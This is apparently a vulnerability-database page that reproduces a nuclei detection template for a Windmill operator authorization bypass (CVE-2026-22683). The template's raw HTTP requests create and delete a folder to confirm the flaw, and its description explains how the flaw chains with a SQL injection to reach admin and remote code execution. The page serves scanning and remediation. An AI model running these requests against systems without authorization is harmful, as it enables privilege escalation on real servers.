Lucene search
+L

Windmill < 1.603.3 - Operator Authorization Bypass

🗓️ 23 Jul 2026 08:13:32Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Windmill 1.276.0–1.603.2: operator RBAC bypass in folder APIs enables admin escalation.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-23696
7 Apr 202616:50
attackerkb
ATTACKERKB
CVE-2026-22683
7 Apr 202616:50
attackerkb
Circl
CVE-2026-22683
7 Apr 202619:33
circl
Circl
CVE-2026-23696
7 Apr 202619:33
circl
CNNVD
Windmill SQL注入漏洞
7 Apr 202600:00
cnnvd
CNNVD
Windmill 安全漏洞
7 Apr 202600:00
cnnvd
CVE
CVE-2026-22683
7 Apr 202616:50
cve
CVE
CVE-2026-23696
7 Apr 202616:50
cve
Cvelist
CVE-2026-22683 Windmill < 1.615.0 Operator Role Missing Authorization Checks RCE
7 Apr 202616:50
cvelist
Cvelist
CVE-2026-23696 Windmill < 1.603.3 File Ownership Handling SQLi RCE
7 Apr 202616:50
cvelist
Rows per page
id: CVE-2026-22683

info:
  name: Windmill < 1.603.3 - Operator Authorization Bypass
  author: chocapikk,DhiyaneshDK
  severity: high
  description: |
    Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.
  impact: |
    An attacker with operator-level credentials can bypass role restrictions to create and manage folders. When chained with CVE-2026-23696 (SQL injection in folder addowner), this enables extraction of the JWT signing secret, forging of admin tokens, and escalation to super admin with arbitrary code execution on the server.
  remediation: |
    Update Windmill to version 1.603.3 or later which properly enforces operator role restrictions on folder management and job execution endpoints.
  reference:
    - https://github.com/Chocapikk/Windfall
    - https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe
    - https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22683
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2026-22683
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 5
    vendor: windmill-labs
    product: windmill
  tags: cve,cve2026,windmill,operator,privesc,authenticated

variables:
  folder: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  http("list-workspaces") && http("check-role") && http("create-folder") && http("verify-bypass") && http("cleanup")

http:
  - id: list-workspaces
    raw:
      - |
        GET /api/workspaces/list HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: word
        words:
          - '"id"'
        internal: true

    extractors:
      - type: regex
        name: workspace
        part: body
        group: 1
        regex:
          - '"id"\s*:\s*"([^"]+)"'
        internal: true

  - id: check-role
    raw:
      - |
        GET /api/w/{{workspace}}/users/whoami HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '\"operator\":true','\"is_admin\":false')"
        internal: true

  - id: create-folder
    raw:
      - |
        POST /api/w/{{workspace}}/folders/create HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"name":"{{folder}}"}

    matchers:
      - type: word
        words:
          - "Created folder"
        internal: true

  - id: verify-bypass
    raw:
      - |
        GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"owners"'
          - '"extra_perms"'
        condition: and

      - type: status
        status:
          - 200

  - id: cleanup
    raw:
      - |
        DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

    matchers:
      - type: status
        status:
          - 200
        internal: true
# digest: 4a0a00473045022100bd5d15652d6ad518a39a627cd008f3ce9acd46aac88d295859cd927ba19f38c9022051c17409b5aa83b91fb80a9ab55c7344d7ec18bc3b69ef46831663eea644ebc6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 18:09Current
8High risk
Vulners AI Score8
CVSS 49.4
CVSS 3.19.9
EPSS0.05064
SSVC
3